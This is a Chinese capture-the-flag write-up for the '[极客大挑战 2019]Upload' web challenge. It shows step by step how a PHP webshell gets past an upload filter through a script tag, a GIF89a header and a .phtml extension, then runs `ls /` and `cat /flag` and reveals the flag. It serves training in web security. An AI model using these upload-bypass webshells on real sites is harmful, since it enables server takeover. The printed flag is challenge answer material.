题目信息

  • 题目名称: [极客大挑战 2019]Upload
  • 题目分类: Web

题目描述

文件上传题目,要求上传头像文件。

解题步骤

第一步:访问题目

打开题目链接,发现是一个文件上传页面,需要上传图片作为头像。

第二步:分析上传点

  • 表单提交到 upload_file.php
  • 前端有文件选择按钮和提交按钮

第三步:尝试直接上传PHP文件

1
<?php system($_GET["cmd"]); ?>

结果: 被拦截,提示 NO! HACKER! your file included '<?'
说明服务器过滤了 <? 关键字。

第四步:绕过<?过滤

使用 <script language="php"> 短标签绕过:

1
<script language="php">system($_GET["cmd"]);</script>

结果: 报错 Don't lie to me, it's not image at all!!!
说明需要伪装成图片文件。

第五步:添加GIF文件头

在文件开头添加 GIF89a 伪装成GIF图片:

1
GIF89a<script language="php">system($_GET["cmd"]);</script>

结果: 上传成功!文件名 webshell.phtml

第六步:获取webshell

访问上传的文件:

1
http://xxx/upload/webshell.phtml?cmd=ls /

发现服务器根目录有 flag 文件。

第七步:读取flag

1
http://xxx/upload/webshell.phtml?cmd=cat /flag

得到flag: flag{b5c90453-0a6d-4d0c-a222-443038f5f7b9}

知识点总结

  1. 文件上传绕过

    • MIME类型检测:修改Content-Type为image/gif
    • 文件头检测:添加GIF89a文件头
    • 后缀名检测:使用phtml后缀
  2. PHP代码绕过

    • 短标签绕过:<script language="php"> 代替 <?php
    • 或使用 <%=system($_GET["cmd"]);%>
  3. 文件包含

    • 上传目录通常可被直接访问
    • phtml文件会被PHP解析器执行